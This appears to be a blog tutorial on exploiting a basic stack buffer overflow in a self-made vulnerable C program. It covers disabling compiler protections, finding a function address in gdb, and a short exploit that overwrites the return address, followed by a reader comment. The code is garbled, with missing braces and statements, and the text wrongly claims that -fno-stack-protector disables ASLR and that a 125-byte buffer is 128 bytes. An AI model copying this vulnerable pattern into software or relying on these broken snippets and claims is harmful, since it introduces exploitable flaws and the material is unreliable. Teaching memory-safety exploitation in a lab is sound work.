Tutorial: Basic Buffer Overflow

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// Hey guys, today, I will give you a brief introduction to buffer overflows on Linux x86_64 machines.
// So, let’s start with a basic example in C:
// First some standard includes, you should now them…

// we create a vulnerable function
int vulnFunction(int a, int b)
// it creates a buffer with a size of 128 bytes! Yes, 128 not 125; it uses multiples of 8!
char Buffer1[125];

// now we get some input that could be greater than the buffer

// and a pointer to the buffer will be returned
return strdup(Buffer1);

int main()

// This will never be called…
void Unused()
Compile using: gcc ./first_vuln.c -o first_vuln -fno-stack-protector -zexecstack
-zexecstack is to change the read & write mode of the stack to executable
-fno-stack-protector is for simplicity; it disables the randomization of the stack
(called address space layout randomization = ASLR)

Q: So, what happens if we give an input greater than the buffer?
A: It overrides everything from the beginning of the buffer until buffer begins + length of input;

Let’s try it out:
perl -e ‘print “A”x220 | ./first_vuln #to much input…
Yeah it crashes….
Now we start gdb to find some values:
gdb -q ./first_vuln
Disassemble the Unused function to get its start address
disas Unused

Now, you should search for something like this
Dump of assembler code for function Unused:
0x000000000040061c : push %rbp // this will be the new return address…

The stack is built like this:
rbp register

Ok, we have our info. We need 128bytes for the buffer and 8 for the rbp register. After that, the rip begins.
We need to overwrite the complete buffer and the rbp register and append a new return address…


int main(char *argv[])
int i = 0;
for (i=0;i<34;i++)

unsigned RIP = 0x000000000040061c;//0x000000000040061c;

return 0;

Simply compile the exploit and run it like this:
./first_exploit | ./first_vuln


Have fun, and maybe you should read some more tutorials on buffer overflows.




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  1. in this example you are just redirecting executing flow to the hacked print function right?

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